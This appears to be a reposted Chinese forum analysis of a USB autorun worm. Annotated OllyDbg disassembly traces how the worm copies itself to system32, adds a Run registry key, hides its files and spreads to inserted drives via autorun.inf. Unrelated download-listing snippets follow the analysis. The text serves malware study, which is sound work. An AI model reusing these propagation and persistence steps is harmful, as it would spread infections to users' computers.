- 浏览: 52655 次
- 性别:
- 来自: 广州
-
文章分类
转自:http://bbs.pediy.com/showthread.php?t=74520
标 题: 【原创】一个U盘病毒汇编源码分析
作 者: newjueqi
时 间: 2008-10-12,20:28
链 接: http://bbs.pediy.com/showthread.php?t=74520
【文章作者】: newjueqi
【作者邮箱】: zengjiansheng1@126.com
【作者QQ号】: 190678908
【编写语言】:VC++6.0
【使用工具】: OD
【操作平台】: XP-SP2
【作者声明】: 刚好U盘中了这个病毒,就拿来研究一下,没有其他目的。失误之处敬请大家赐教!
【题外话】: 分析完这个病毒后的感慨就是这个病毒一点都不像病毒,反而像一个U盘编程的示范代码(虽然金山毒霸每次遇到它都兴奋得叫起来 ^-^),感觉对U盘编程有了一个基础的了解。
另外针对这个病毒本人作了一次PEDIY(在源文件上插入汇编代码, 通过提前截获WM_CREATE消息,使病毒运行时弹出一个对话框告诉用户中毒了)
链接 http://bbs.pediy.com/showthread.php?t=74527
0040288F |> \6A 0A push 0A
00402891 |. 58 pop eax
00402892 |> 50 push eax
00402893 |. FF75 9C push dword ptr [ebp-64]
00402896 |. 56 push esi
00402897 |. 56 push esi ; /pModule
00402898 |. FF15 7C704000 call dword ptr [<&KERNEL32.GetModuleHandl>; \GetModuleHandleA
0040289E |. 50 push eax
0040289F |. E8 5CE7FFFF call 00401000 ;关键,转到RegisterClassA
0040100F |. 50 push eax ; /pWndClass
00401010 |. 897C24 28 mov dword ptr [esp+28], edi ; |
00401014 |. C74424 2C 00114>mov dword ptr [esp+2C], 00401100 ;窗口过程的地址|
0040101C |. 897C24 30 mov dword ptr [esp+30], edi ; |
00401020 |. 897C24 34 mov dword ptr [esp+34], edi ; |
00401024 |. 897424 38 mov dword ptr [esp+38], esi ; |
00401028 |. 897C24 3C mov dword ptr [esp+3C], edi ;
0040102C |. 897C24 40 mov dword ptr [esp+40], edi ; |
00401030 |. 897C24 44 mov dword ptr [esp+44], edi ; |
00401034 |. 897C24 48 mov dword ptr [esp+48], edi ; |
00401038 |. C74424 4C 4C804>mov dword ptr [esp+4C], 0040804C ; |ASCII "UUUUUU"
00401040 |. FF15 18714000 call dword ptr [<&USER32.RegisterClassA>] ; \RegisterClassA
00401137 > \68 748B4000 push 00408B74 ; ASCII "C:\WINDOWS\system32"; Case 1 (WM_CREATE) of switch 00401104 ;第一条分支
0040113C . C605 6D8A4000 3A mov byte ptr [408A6D], 3A
; 3A,也就是ASCII 码 “:”
00401143 . E8 E8000000 call 00401230 ; 调用GetSystemDirectoryA获取系统的目录,内容如下
00401230 /$ 8B4424 04 mov eax, dword ptr [esp+4] ; auto.00408B74
00401234 |. 68 04010000 push 104 ; /BufSize = 104 (260.)
00401239 |. 50 push eax ; |Buffer
0040123A |. FF15 64704000 call dword ptr [<&KERNEL32.GetS>; \GetSystemDirectoryA
00401240 \. C3 retn
00401148 . 8B4C24 08 mov ecx, dword ptr [esp+8]
0040114C . 83C4 04 add esp, 4
0040114F . 6A 00 push 0 ; /Timerproc = NULL
00401151 . 68 88130000 push 1388 ; |Timeout = 5000. ms
00401156 . 6A 01 push 1 ; |TimerID = 1
00401158 . 51 push ecx ; |hWnd
00401159 . FF15 10714000 call dword ptr [<&USER32.SetTim>; \SetTimer ;申请了一个时间周期为5秒的计时器
0040115F . 68 708A4000 push 00408A70
00401164 . E8 A7000000 call 00401210 ;调用GetModuleFileNameA获取病毒文件自身的路径,内容如下
00401210 /$ 8B4424 04 mov eax, dword ptr [esp+4] ; auto.00408A70
00401214 |. 68 04010000 push 104 ; /BufSize = 104 (260.)
00401219 |. 50 push eax ; |PathBuffer
0040121A |. 6A 00 push 0 ; |hModule = NULL
0040121C |. FF15 6C7040>call dword ptr [<&KERNEL32.GetModule>; \GetModuleFileNameA ;把病毒的文件路径保存在eax里
00401222 |. F7D8 neg eax
00401224 |. 1BC0 sbb eax, eax
00401226 |. F7D8 neg eax
00401228 \. C3 retn
从以上分析可知道病毒初始化时做了3件事情:
1. 获取系统目录的路径
2. 申请了一个时间周期为5秒的计时器
3. 获取了病毒自身的路径
下面继续分析:
00401171 > \8A15 708A40>mov dl, byte ptr [408A70] ; Case 113 (WM_TIMER) of switch 00401104 ;dl中存储的是病毒的路径
00401104 00401177 . 748B4000 mov al, byte ptr [408B74]
; al中存储的是系统目录的路径
0040117C . 3AD0 cmp dl, al ;比较当前文件的路径是否和系统的路径的相同,也就是检查当前文件是否在系统目录
0040117E . 75 19 jnz short 00401199 ;发现路径不相同就跳00401199
;路径相同就检查有没有设备变化的信息
00401180 . 8B4424 04 mov eax, dword ptr [esp+4]
00401184 . 6A 00 push 0 ; /lParam = 0
00401186 . 6A 00 push 0 ; |wParam = 0
00401188 . 68 19020000 push 219 ; |Message = WM_DEVICECHANGE
0040118D . 50 push eax ; |hWnd
0040118E . FF15 147140>call dword ptr [<&USER32.Send>; \SendMessageA
;发送检查设备的信息
00401194 . 33C0 xor eax, eax ;清空eax
00401196 . C2 1000 retn 10
;发现病毒文件不是从系统目录启动就执行下面的操作
00401199 > 8B4C24 04 mov ecx, dword ptr [esp+4]
0040119D . 51 push ecx
0040119E . E8 AD000000 call 00401250
00401250 /$ 81EC 040100>sub esp, 104
00401256 |. 8D4424 00 lea eax, dword ptr [esp]
0040125A |. 56 push esi
0040125B |. 68 748B4000 push 00408B74 ; /String2 = "C:\WINDOWS\system32"
00401260 |. 50 push eax ; |String1
00401261 |. FF15 147040>call dword ptr [<&KERNEL32.lstrc>; \lstrcpyA
;复制系统路径
00401267 |. 8B35 107040>mov esi, dword ptr [<&KERNEL32.>; kernel32.lstrcatA
0040126D |. 8D4C24 04 lea ecx, dword ptr [esp+4] ;把系统路径传到ecx
00401271 |. 68 98804000 push 00408098 ; /StringToAdd = "\"
00401276 |. 51 push ecx ; |ConcatString,"C:\WINDOWS\system32"
00401277 |. FFD6 call esi ; \lstrcatA
; 调用字符串连接函数使系统路径变为"C:\WINDOWS\system32\"
00401279 |. 8B15 448040>mov edx, dword ptr [408044] ; auto.00408060
0040127F |. 8D4424 04 lea eax, dword ptr [esp+4]
00401283 |. 52 push edx ; /StringToAdd => "uc.exe"
00401284 |. 50 push eax ; |ConcatString,"C:\WINDOWS\system32\"
00401285 |. FFD6 call esi ; \lstrcatA
;路径变为"C:\WINDOWS\system32\ uc.exe "
00401287 |. 8D4C24 04 lea ecx, dword ptr [esp+4]
; ecx中存放路径"C:\WINDOWS\system32\ uc.exe "
0040128B |. 51 push ecx
0040128C |. E8 6F000000 call 00401300
;检查系统目录中是否已存在要复制的文件
00401300 /$ 8B4424 04 mov eax, dword ptr [esp+4]
00401304 |. 50 push eax ; /Path
00401305 |. FF15 007140>call dword ptr [<&SHLWAPI.P>; \PathFileExistsA
0040130B |. 48 dec eax
0040130C |. F7D8 neg eax
0040130E |. 1BC0 sbb eax, eax
00401310 |. 40 inc eax
00401311 \. C3 retn
00401291 |. 83C4 04 add esp, 4
00401294 |. 85C0 test eax, eax ;检查文件是否存在
00401296 |. 5E pop esi
00401297 |. 75 2F jnz short 004012C8 ;如果文件已经存在就跳
00401299 |. 8D5424 00 lea edx, dword ptr [esp]
0040129D |. 50 push eax ; /FailIfExists
0040129E |. 52 push edx ; |NewFileName
0040129F |. 68 708A4000 push 00408A70
004012A4 |. FF15 347040>call dword ptr [<&KERNEL32.CopyF>; \CopyFileA
;把文件复制到系统目录
004012AA |. 8D4424 00 lea eax, dword ptr [esp]
004012AE |. 50 push eax
004012AF |. E8 7C000000 call 00401330
;修改注册表,使病毒文件开机自启动和U盘自动播放
00401330 /$ 83EC 08 sub esp, 8
00401333 |. 56 push esi
00401334 |. 8B35 087040>mov esi, dword ptr >; ADVAPI32.RegOpenKeyA
0040133A |. 8D4424 04 lea eax, dword ptr >
0040133E |. 57 push edi
0040133F |. 50 push eax ; /pHandle
00401340 |. 68 E0804000 push 004080E0 ; |Subkey = "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
00401345 |. 68 01000080 push 80000001 ; |hKey = HKEY_CURRENT_USER
0040134A |. C74424 18 0>mov dword ptr [esp+>; |
00401352 |. FFD6 call esi ; \RegOpenKeyA
00401354 |. 8B5424 08 mov edx, dword ptr >
00401358 |. 8B3D 007040>mov edi, dword ptr >; ADVAPI32.RegSetValueExA
0040135E |. 8D4C24 0C lea ecx, dword ptr >
00401362 |. 6A 04 push 4 ; /BufSize = 4
00401364 |. 51 push ecx ; |Buffer
00401365 |. 6A 04 push 4 ; |ValueType = REG_DWORD
00401367 |. 6A 00 push 0 ; |Reserved = 0
00401369 |. 68 CC804000 push 004080CC ; |ValueName = "NoDriveTypeAutoRun"
0040136E |. 52 push edx ; |hKey
0040136F |. FFD7 call edi ; \RegSetValueExA
00401371 |. 8D4424 08 lea eax, dword ptr >
00401375 |. 50 push eax ; /pHandle
00401376 |. 68 9C804000 push 0040809C ; |Subkey = "SOFTWARE\MICROSOFT\Windows\CurrentVersion\Run"
0040137B |. 68 02000080 push 80000002 ; |hKey = HKEY_LOCAL_MACHINE
00401380 |. FFD6 call esi ; \RegOpenKeyA
00401382 |. 85C0 test eax, eax
00401384 |. 75 35 jnz short 004013BB
00401386 |. 8B7424 14 mov esi, dword ptr >
0040138A |. 56 push esi ; /String
0040138B |. FF15 1C7040>call dword ptr [<&KE>; \lstrlenA
00401391 |. 8B0D 448040>mov ecx, dword ptr >; auto.00408060
00401397 |. 8B5424 08 mov edx, dword ptr >
0040139B |. 50 push eax ; /BufSize
0040139C |. 56 push esi ; |Buffer
0040139D |. 6A 01 push 1 ; |ValueType = REG_SZ
0040139F |. 6A 00 push 0 ; |Reserved = 0
004013A1 |. 51 push ecx ; |ValueName => "uc.exe"
004013A2 |. 52 push edx ; |hKey
004013A3 |. FFD7 call edi ; \RegSetValueExA
004013A5 |. 8B4424 08 mov eax, dword ptr >
004013A9 |. 50 push eax ; /hKey
004013AA |. FF15 047040>call dword ptr [<&AD>; \RegCloseKey
004013B0 |. 5F pop edi
004013B1 |. B8 01000000 mov eax, 1
004013B6 |. 5E pop esi
004013B7 |. 83C4 08 add esp, 8
004013BA |. C3 retn
004013BB |> 5F pop edi
004013BC |. 33C0 xor eax, eax
004013BE |. 5E pop esi
004013BF |. 83C4 08 add esp, 8
004013C2 \. C3 retn
004012B4 |. 8D4C24 04 lea ecx, dword ptr [esp+4]
004012B8 |. 51 push ecx
004012B9 |. E8 62000000 call 00401320
;设置病毒文件的属性为系统,隐藏
00401320 /$ 8B4424 04 mov eax, dword ptr >
00401324 |. 6A 06 push 6 ; /FileAttributes = HIDDEN|SYSTEM
00401326 |. 50 push eax ; |FileName
00401327 |. FF15 187040>call dword ptr [<&KE>; \SetFileAttributesA
0040132D \. C3 retn
;如果病毒文件已经在系统目录下,执行下面的操作,这里从00401297跳过来
004012C8 |> E8 D3030000 call 004016A0
;通过枚举进程列表查看自身是否已经运行
004016A0 /$ 81EC 280100>sub esp, 128
004016A6 |. 56 push esi
004016A7 |. 57 push edi
004016A8 |. 6A 00 push 0 ; /ProcessID = 0
004016AA |. 6A 02 push 2 ; |Flags = TH32CS_SNAPPROCESS
004016AC |. E8 BB000000 call <jmp.&KERNEL32.>; \CreateToolhelp32Snapshot
004016B1 |. 8BF0 mov esi, eax
004016B3 |. 8D4424 08 lea eax, dword ptr >
004016B7 |. 50 push eax ; /lppe
004016B8 |. 56 push esi ; |hSnapshot
004016B9 |. C74424 10 2>mov dword ptr [esp+>; |
004016C1 |. E8 A0000000 call <jmp.&KERNEL32.>; \Process32First
004016C6 |. 85C0 test eax, eax
004016C8 |. 74 4E je short 00401718
004016CA |. 8B0D 448040>mov ecx, dword ptr >; auto.00408060
004016D0 |. 8B3D 287040>mov edi, dword ptr >; kernel32.lstrcmpA
004016D6 |. 8D5424 2C lea edx, dword ptr >
004016DA |. 51 push ecx ; /String2 => "uc.exe"
004016DB |. 52 push edx ; |String1
004016DC |. FFD7 call edi ; \lstrcmpA
004016DE |. 85C0 test eax, eax
004016E0 |. 74 21 je short 00401703
004016E2 |> 8D4424 08 /lea eax, dword ptr>
004016E6 |. 50 |push eax ; /lppe
004016E7 |. 56 |push esi ; |hSnapshot
004016E8 |. E8 73000000 |call <jmp.&KERNEL32>; \Process32Next
004016ED |. 85C0 |test eax, eax
004016EF |. 74 27 |je short 00401718
004016F1 |. 8B0D 448040>|mov ecx, dword ptr>; auto.00408060
004016F7 |. 8D5424 2C |lea edx, dword ptr>
004016FB |. 51 |push ecx
004016FC |. 52 |push edx
004016FD |. FFD7 |call edi
004016FF |. 85C0 |test eax, eax
00401701 |.^ 75 DF \jnz short 004016E2
00401703 |> 56 push esi ; /hObject
00401704 |. FF15 207040>call dword ptr [<&KE>; \CloseHandle
0040170A |. 5F pop edi
0040170B |. B8 01000000 mov eax, 1 ;返回值为1
00401710 |. 5E pop esi
00401711 |. 81C4 280100>add esp, 128
00401717 |. C3 retn
00401718 |> 56 push esi ; /hObject
00401719 |. FF15 207040>call dword ptr [<&KE>; \CloseHandle
0040171F |. 5F pop edi
00401720 |. 33C0 xor eax, eax ;返回值为0
00401722 |. 5E pop esi
00401723 |. 81C4 280100>add esp, 128
00401729 \. C3 retn
;判断自身有没有运行
004012CD |. 85C0 test eax, eax ;通过在eax的返回值判断
004012CF |. 75 20 jnz short 004012F1
004012D1 |. 8D5424 00 lea edx, dword ptr [esp]
004012D5 |. 50 push eax ; /ShowState
004012D6 |. 52 push edx ; |CmdLine
004012D7 |. FF15 607040>call dword ptr [<&KERNEL32.WinEx>; \WinExec
;以隐藏的方式执行
004012DD |. 8B8424 0801>mov eax, dword ptr [esp+108]
004012E4 |. 6A 00 push 0 ; /lParam = 0
004012E6 |. 6A 00 push 0 ; |wParam = 0
004012E8 |. 6A 10 push 10 ; |Message = WM_CLOSE
004012EA |. 50 push eax ; |hWnd
004012EB |. FF15 147140>call dword ptr [<&USER32.SendMes>; \SendMessageA
004012F1 |> 33C0 xor eax, eax
004012F3 |. 81C4 040100>add esp, 104
004012F9 \. C3 retn
;有输入设备信息
004011CB > \8B4424 10 mov eax, dword ptr [esp+10] ; Case 219 (WM_DEVICECHANGE) of switch 00401104;
;查了一下MSDN,响应WM_DEVICECHANGE这个消息的函数声明如下
;LRESULT CALLBACK WindowProc(
; HWND hwnd, // handle to window
; UINT uMsg, // WM_DEVICECHANGE
; WPARAM wParam, // device-change event
; LPARAM lParam // event-specific data
;);
004011CF . 8B4C24 0C mov ecx, dword ptr [esp+C]
004011D3 . 8B5424 04 mov edx, dword ptr [esp+4]
004011D7 . 50 push eax ;lParam
004011D8 . 51 push ecx ; wParam
004011D9 . 52 push edx ;hwnd
;因为uMsg是默认为WM_DEVICECHANGE,所以只有三个参数
004011DA . E8 F1FEFFFF call 004010D0
WM_DEVICECHANGE的说明如下:
当Windows系统的硬件设置发生变化时,系统将会向所有应用程序发送一条WM_DEVICECHANGE消息.当有设备被禁止或激活时(比如我们插入光盘,从光驱中取出光盘,或者在系统设备中删除或禁止打印端口),该消息的wParam参数分别被指定为DBT_DEVICEARRIVAL(设备安装完毕)和DBT_DEVICEREMOVECOMPLETE(设备移除完毕),根据这两个参数可以判断闪存是否存在,lParam参数指向一DEV_BROADCAST_HDR结构,该结构中的dbch_devicetype成员是变化设备的类型,当该值为DBT_DEVTYP_VOLUME时,表明一个带有卷标名的驱动器发生了变化
(出处:http://sogoodm.com/soft/t5/16303-63858.html )
004010D0 /$ 817C24 08 008> cmp dword ptr [esp+8], 8000 ;比较是否插入了新的设备,8000是宏DBT_DEVICEARRIVAL的值,表示系统插入了一个新设备,相关的定义在Include\DBT.h头文件里(我的是VC6),顺便说一句,查这个8000表示什么就查了半天,非常郁闷!!!
004010D8 |. 75 20 jnz short 004010FA ;如果不是插入新设备就跳
004010DA |. 8B4424 0C mov eax, dword ptr [esp+C]
004010DE |. 8378 04 02 cmp dword ptr [eax+4], 2 ;
004010E2 |. 75 16 jnz short 004010FA
004010E4 |. 8B40 0C mov eax, dword ptr [eax+C]
004010E7 |. 50 push eax
004010E8 |. E8 03010000 call 004011F0 ;获取U盘的盘符
;枚举26个驱动器,通过查看哪个发生了变化来获取U盘的盘符
004011F0 /$ 8B4C24 04 mov ecx, dword ptr [esp+4]
004011F4 |. 32C0 xor al, al ;从0开始比较
004011F6 |> F6C1 01 /test cl, 1
004011F9 |. 75 08 |jnz short 00401203
004011FB |. D1E9 |shr ecx, 1
004011FD |. FEC0 |inc al
004011FF |. 3C 1A |cmp al, 1A ;比较是否已达到了26
00401201 |.^ 7C F3 \jl short 004011F6
00401203 |> 83C0 41 add eax, 41 ;用盘符的索引加上‘A’得到盘符的字母注意41是16进制,转化为10进制就是ASC码‘A’
00401206 \. C3 retn
004010ED |. 83C4 04 add esp, 4
004010F0 |. A2 5C8A4000 mov byte ptr [408A5C], al
004010F5 |. E8 D6020000 call 004013D0 ;
;把自身复制到U盘并且在U盘下创建一个autorun.inf文件
004013D0 /$ 81EC 08020000 sub esp, 208
004013D6 |. 8D8424 040100>lea eax, dword ptr [esp+104]
004013DD |. 56 push esi
004013DE |. 57 push edi
004013DF |. 8B3D 14704000 mov edi, dword ptr [<&KERNEL32.lstrc>; kernel32.lstrcpyA
004013E5 |. 68 5C8A4000 push 00408A5C ; /String2 = "B"
004013EA |. 50 push eax ; |String1
004013EB |. FFD7 call edi ; \lstrcpyA
004013ED |. 8B35 10704000 mov esi, dword ptr [<&KERNEL32.lstrc>; kernel32.lstrcatA
004013F3 |. 8D8C24 0C0100>lea ecx, dword ptr [esp+10C]
004013FA |. 68 90804000 push 00408090 ; /StringToAdd = "\"
004013FF |. 51 push ecx ; |ConcatString
00401400 |. FFD6 call esi ; \lstrcatA
00401402 |. 8B15 40804000 mov edx, dword ptr [408040] ; auto.00408068
00401408 |. 8D8424 0C0100>lea eax, dword ptr [esp+10C]
0040140F |. 52 push edx ; /StringToAdd => "uc1.exe"
00401410 |. 50 push eax ; |ConcatString
00401411 |. FFD6 call esi ; \lstrcatA
00401413 |. 8D4C24 08 lea ecx, dword ptr [esp+8]
00401417 |. 68 5C8A4000 push 00408A5C ; /String2 = "B"
0040141C |. 51 push ecx ; |String1
0040141D |. FFD7 call edi ; \lstrcpyA
0040141F |. 8D5424 08 lea edx, dword ptr [esp+8]
00401423 |. 68 90804000 push 00408090 ; /StringToAdd = "\"
00401428 |. 52 push edx ; |ConcatString
00401429 |. FFD6 call esi ; \lstrcatA
0040142B |. A1 48804000 mov eax, dword ptr [408048]
00401430 |. 8D4C24 08 lea ecx, dword ptr [esp+8]
00401434 |. 50 push eax ; /StringToAdd => "AutoRun.inf"
00401435 |. 51 push ecx ; |ConcatString
00401436 |. FFD6 call esi ; \lstrcatA
00401438 |. 8D5424 08 lea edx, dword ptr [esp+8]
0040143C |. 52 push edx
0040143D |. E8 BEFEFFFF call 00401300 ;检测文件是否存在
00401442 |. 83C4 04 add esp, 4
00401445 |. 85C0 test eax, eax
00401447 |. 5F pop edi
00401448 |. 5E pop esi
00401449 |. 75 17 jnz short 00401462
0040144B |. 8D4424 00 lea eax, dword ptr [esp]
0040144F |. 50 push eax
00401450 |. E8 5B000000 call 004014B0 ;在U盘创建一个autorun.inf文件
00401455 |. 8D4C24 04 lea ecx, dword ptr [esp+4]
00401459 |. 51 push ecx
0040145A |. E8 C1FEFFFF call 00401320 ;设置文件的属性
0040145F |. 83C4 08 add esp, 8
00401462 |> 8D9424 040100>lea edx, dword ptr [esp+104]
00401469 |. 52 push edx
0040146A |. E8 91FEFFFF call 00401300 ;检查文件是否存在
0040146F |. 83C4 04 add esp, 4
00401472 |. 85C0 test eax, eax
00401474 |. 75 2B jnz short 004014A1
00401476 |. 50 push eax ; /FailIfExists
00401477 |. 8D8424 080100>lea eax, dword ptr [esp+108] ; |
0040147E |. 50 push eax ; |NewFileName
0040147F |. 68 608A4000 push 00408A60 ; |ExistingFileName = ""
00401484 |. FF15 34704000 call dword ptr [<&KERNEL32.CopyFileA>>; \CopyFileA
0040148A |. 8D8C24 040100>lea ecx, dword ptr [esp+104]
00401491 |. 51 push ecx ;U盘文件的路径
00401492 |. E8 89FEFFFF call 00401320 ;设置文件的属性
00401497 |. 83C4 04 add esp, 4
0040149A |. 81C4 08020000 add esp, 208
004014A0 |. C3 retn
004014A1 |> 33C0 xor eax, eax
004014A3 |. 81C4 08020000 add esp, 208
004014A9 \. C3 retn
最后,进程关闭时的代码如下:
0040111D . 8B4424 04 mov eax, dword ptr [esp+4] ; Case 2 (WM_DESTROY) of switch 00401104
00401121 . 6A 01 push 1 ; /TimerID = 1
00401123 . 50 push eax ; |hWnd
00401124 . FF15 08714000 call dword ptr [<&USER32.KillTimer>] ; \KillTimer
0040112A . 6A 00 push 0 ; /ExitCode = 0
0040112C . FF15 0C714000 call dword ptr [<&USER32.PostQuitMess>; \PostQuitMessage
00401132 . 33C0 xor eax, eax
00401134 . C2 1000 retn 10
1. 病毒描述:
该病毒是一种U盘病毒,病毒运行后释放病毒文件到系统目录下,命名为uc.exe并执行。在用户毫无察觉的情况下;修改注册表键值,病毒开机自动运行,开启自动播放;监测系统中有没有插入U盘,如果检测到插入U盘就向U盘中释放病毒文件并且创建一个autorun.inf文件
2. 病毒行为分析
(1)病毒运行后释放病毒文件:
C:\WINDOWS\system32\uc.exe
(2)修改注册表
在HKEY_CURRENT_USER\ Software\Microsoft\Windows \CurrentVersion\Policies\
Explorer中创建NoDriveTypeAutoRun
在HKEY_LOCAL_MACHINE\ SOFTWARE\MICROSOFT\Windows\ CurrentVersion\
Run中添加病毒文件的路径
(3)向U盘中释放病毒文件和创建autorun.inf文件
相关推荐
例如,“熊猫烧香病毒汇编源码.asm”就是一个汇编语言编写的病毒样本,通过分析这类源码,我们可以理解病毒的工作机制,包括如何感染系统、如何隐藏自身以及如何传播。 2. **C++与病毒编写**:C++是一种面向对象的...
标题中的“MEMZ5.0引导以及程序源码”指的是一个名为MEMZ的软件的第五个主要版本的源代码,通常这种源代码是用于研究、学习或者修改软件的行为。MEMZ是一个知名的恶意软件示例,它涉及到计算机安全领域,尤其是恶意...
描述中提到的"源码被U盘autorun病毒删了,只剩可执行文件"是一个值得注意的安全问题。U盘 autorun 病毒是一种常见的恶意软件,它利用Windows系统中的自动播放功能,当U盘插入电脑时自动运行并可能感染系统。在这种...
这个压缩包中的"VC++编译U盘病毒和原理(代源码).exe"文件,可能是为了教学目的而编译的一个模拟U盘病毒的示例程序,开发者可以通过反汇编或调试工具对其分析,理解病毒的执行流程和感染机制。 其次,"说明_Readme...
内容概要:本文探讨了人工智能(AI)对芯片行业的深远影响,特别是AI芯片的定义、类型与发展现状。文中详细介绍了AI芯片(如GPU、FPGA、ASIC)的特点及其在不同应用场景中的表现。随着AI技术的进步,芯片设计流程发生了重大变革,包括自动化设计和创新设计,制程工艺也在AI需求的推动下迅速迭代。此外,AI芯片市场的格局正在重塑,新玩家不断涌现,国际竞争加剧。中国AI芯片行业发展迅速,但也面临技术瓶颈、市场竞争和人才短缺等挑战。未来,AI芯片将在技术创新、市场拓展和可持续发展中继续前行。 适合人群:对半导体行业、人工智能技术感兴趣的读者,尤其是从事芯片设计、制造及相关领域的专业人士。 使用场景及目标:帮助读者了解AI芯片行业的最新发展趋势和技术动向,为企业决策和个人职业规划提供参考。 其他说明:文章还强调了AI与芯片行业的深度融合可能带来的新商业模式,以及国产AI芯片企业需加强国际合作与交流,推动绿色可持续发展。
Java项目课程设计,包含源码+数据库+论文
# 基于Arduino的实时温度短信警报系统 ## 项目简介 这是一个使用Arduino,LM35温度传感器和GSM模块实现的实时温度短信警报系统。当温度超过设定的限制时,系统将自动向用户发送短信警报。这个项目涉及到硬件和电子组件的简单组装和编程技术。这是一个易于使用,便捷有效的警告系统,适用于家庭、办公室或其他需要实时监控温度的场合。 ## 项目的主要特性和功能 使用Arduino Uno作为主要的控制器,控制LM35温度传感器和GSM模块。 通过LM35温度传感器读取温度数据。 使用GSM模块发送短信警报。 具有灵活性,可设定温度阈值。当温度超过设定的阈值时,系统将自动发送短信提醒用户。 简单易用的电路设计,只需要基本的电子组装技能就能搭建完成。 ## 安装使用步骤 假设用户已经下载了本项目的源码文件 1. 连接硬件按照电路图连接Arduino Uno、LM35温度传感器、GSM模块及其他所需硬件。
内容概要:本文围绕岩土体细观结构精细化建模展开,涵盖了二维及三维不规则颗粒生成、颗粒重叠检测与投放算法、土石混合体边坡开挖模拟、模型库管理系统构建等方面的内容。文中提供了详细的Python代码示例,包括二维和三维颗粒生成算法、颗粒重叠检测算法、颗粒投放算法、土石混合体边坡开挖模拟、模型库管理系统、颗粒力学性质计算与更新、颗粒间接触力计算、土石混合体动力响应模拟、细观结构统计分析、大规模模拟优化及损伤演化模拟等。由于涉及多领域的复杂知识和大量代码,部分代码依赖特定软件环境和数据,因此未能提供完整的复现代码,但重点展示了核心关键部分的实现。 适合人群:具备一定编程基础,尤其是对岩土工程、材料科学等领域感兴趣的科研人员和技术开发者。 使用场景及目标:适用于岩土体细观结构的研究和模拟,帮助研究人员更好地理解和预测土石混合体的行为特性,特别是在边坡稳定性分析、地质灾害评估等方面的应用。 其他说明:本文不仅提供了代码实现,还详细解释了各个算法的原理和应用场景,旨在帮助读者深入理解岩土体细观结构的数值模拟方法。
摘 要 I 目 录 III 第1章 绪论 1 1.1 研究背景 1 1.2 研究现状 1 1.3 目的和意义 1 1.4 论文研究内容 2 第2章 程序开发技术 3 2.1 Mysql数据库 3 2.2 Java语言 3 2.3 Spring Boot框架简介 4 第3章 系统分析 5 3.1可行性分析 5 3.1.1技术可行性分析 5 3.1.2经济可行性分析 5 3.1.3操作可行性分析 6 3.2系统运行环境 6 3.3系统流程分析 6 第4章 系统设计 10 4.1 系统设计的原则 10 4.2 功能结构设计 10 4.3 数据库设计 11 4.3.1 数据库E-R图 11 4.3.2 数据库表结构 13 第5章 系统实现 17 5.1管理员功能实现 17 5.1.1 用户管理 17 5.1.2 图书分类管理 17 5.1.3 图书信息管理 18 5.1.4 订单管理 19 5.2 用户功能实现 19 5.2.1 图书信息 19 5.2.2 购物车 20 5.2.3 确认下单 21 5.2.4 我的收藏 22 第6章 系统测试 24 6.1系统测试方法 24 6.2 系统测
Java项目课程设计,包含源码+数据库+论文
1、文件说明: Centos8操作系统srain-1.0.2-1.el8.rpm以及相关依赖,全打包为一个tar.gz压缩包 2、安装指令: #Step1、解压 tar -zxvf srain-1.0.2-1.el8.tar.gz #Step2、进入解压后的目录,执行安装 sudo rpm -ivh *.rpm
内容概要:本文详细介绍了污水净化处理厂PLC自动化程序设计的全过程,涵盖技术要求、合同签订、上位机画面设计、西门子300 PLC编程及梯形图编程指南、KTP1000触摸屏配置、电气设计图纸和PLC点表等内容。文中不仅提供了详细的编程实例和技术要点,还分享了许多现场调试的实际经验和解决方案。具体包括梯形图逻辑、上位机画面组态、报警记录功能、电气图纸细节、PID控制优化、设备联锁设计等方面的内容。 适合人群:自动化初学者、从事污水处理行业的技术人员、PLC编程爱好者。 使用场景及目标:①帮助新手掌握PLC编程的基本技能和调试技巧;②为污水处理厂的自动化改造提供实用的技术指导;③提高操作人员对自动化系统的理解和操作能力。 其他说明:本文通过丰富的实战案例和详细的代码解析,使读者能够深入理解PLC自动化控制系统的原理和应用,尤其适用于希望深入了解西门子300 PLC编程的人士。
内容概要:本文详细介绍了通过三菱FX3U-485ADP-MB通讯模块实现对施耐德ATV312、三菱E700和台达VFD-M三种变频器的控制方法。主要内容涵盖硬件需求、通讯实现功能、变频器和PLC的工作原理、Modbus通信协议介绍、PLC和触摸屏程序示例及其分析、参数设置、接线教程等方面。文中提供了具体的编程实例,如PLC程序用于控制变频器的正反转和频率设定,触摸屏程序用于界面交互设计。此外,还分享了一些调试经验和常见问题解决方法。 适合人群:从事工业自动化控制领域的工程师和技术人员,尤其是对PLC编程和变频器控制有一定基础的人群。 使用场景及目标:适用于需要集成多个品牌变频器并希望通过PLC进行集中控制的工业应用场景。主要目标是帮助读者理解和掌握如何利用三菱FX3U-485ADP-MB通讯模块实现高效稳定的变频器控制,从而提升系统的灵活性和可靠性。 其他说明:文章不仅提供了理论知识,还包括大量实用的操作指导和实践经验,有助于读者快速上手并在实际项目中应用。
内容概要:本文深入探讨了基于西门子S7-300 PLC的汽车生产线自动化控制系统。硬件方面,介绍了300 CPU、TP700触摸屏、远程ET200站点以及Profibus DP网络系统等组件的作用。功能实现涵盖了模拟量采集、PWM控制、拧紧系统、扫码枪、上位机、双层输送线、激光打标机和基恩士视觉系统等多个方面。编程特色在于采用了模块化编程方法,集成了多种功能块,并混合使用了梯形图、STL和SCL编程语言。资料内容包括PLC程序、触摸屏程序、电气原理图、布局图和IO表等。 适合人群:从事工业自动化领域的工程师和技术人员,尤其是那些希望深入了解西门子S7-300 PLC及其在汽车生产线中的应用的人群。 使用场景及目标:适用于需要理解和优化汽车生产线自动化控制系统的场合。主要目标是提高生产线的效率、精度和可靠性,同时为后续的维护和升级提供详细的参考资料。 其他说明:文中不仅提供了具体的编程实例,还分享了许多实际操作中的经验和技巧,有助于读者更好地掌握相关技术和应对可能出现的问题。
